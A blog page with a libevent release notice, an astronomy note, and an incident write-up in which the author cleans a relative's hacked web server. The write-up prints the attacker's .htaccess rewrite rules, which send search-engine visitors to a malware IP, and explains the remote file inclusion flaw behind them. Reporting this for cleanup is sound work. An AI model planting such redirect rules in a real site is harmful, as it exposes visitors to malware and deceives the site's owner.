Skip to content

Libevent 1.4.9-stable released

We just released libevent 1.4.9-stable. You can download the source from the usual place:

http://monkey.org/~provos/libevent-1.4.9-stable.tar.gz
This release fixes a number of bugs:
  • fixed several memory leaks in the HTTP layer.
  • fixed signal handling for multi-threaded applications.
  • fixed issues with the timer cache when leaving/entering the event loop.
Check here for a more detailed change list.

Thanks to Dean McNamee, Victor Chang, Alejo Sanchez, Richard Jones, Robin Haberkorn and everyone else who reported bugs or supplied patches.
Categories: Libevent, News
Defined tags for this entry: ,

Using htaccess To Distribute Malware

Usually, I get to find compromised web servers, but last week I was asked to fix one. A relative noticed that his web server would try to install a rogue anti-malware product and called me for help. Curiously, the malware showed up only when clicking on the search results for his web site, but the site was fine when typing the address directly into the location bar. A little investigation with curl could reproduce that behavior:
curl -I -H "Referer: www.google.com" http://www.foo.com/

returned a 302 redirect to an IP address, whereas
curl -I http://www.foo.com/

returned a 200. To find where the code might have been injected, I grepped the whole web server for the IP address and found the following gem in .htaccess:
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]
RewriteRule .* http://89.28.13.204/in.html?s=xx [R,L]

This code instructs the web server to redirect visitors to a malware site if they come from popular search engines.

The attackers were able to insert this file as the web application had a remote file inclusion vulnerability. These attacks are quite popular as we found in our paper: To Catch a Predator: A Natural Language Approach for Eliciting Malicious Payloads. The fix in this case was to remove the .htaccess file and to upgrade the web application to a patched version without the vulnerability.
Categories: Malware, SpyBye
Defined tags for this entry: , ,

Moon, Jupiter and Venus

Jupiter, Venus and MoonJupiter, Venus and Moon are currently in close conjunction in the evening sky. It is quite an amazing sight and can still be seen tomorrow, too. Over Thanksgiving, we also set up the telescope in front of the house to look at the moons of Jupiter which was quite fun. I tried to take a quick picture of the Moon, Jupiter and Venus, but got it over exposed. The extreme light pollution in Mountain View makes it difficult to take any pictures of the night sky.

The light pollution here is so bad that most stars are never visible. I assume there must be a good reason to waste so much electricity on lightening up the sky - I just don't know it.
Defined tags for this entry: ,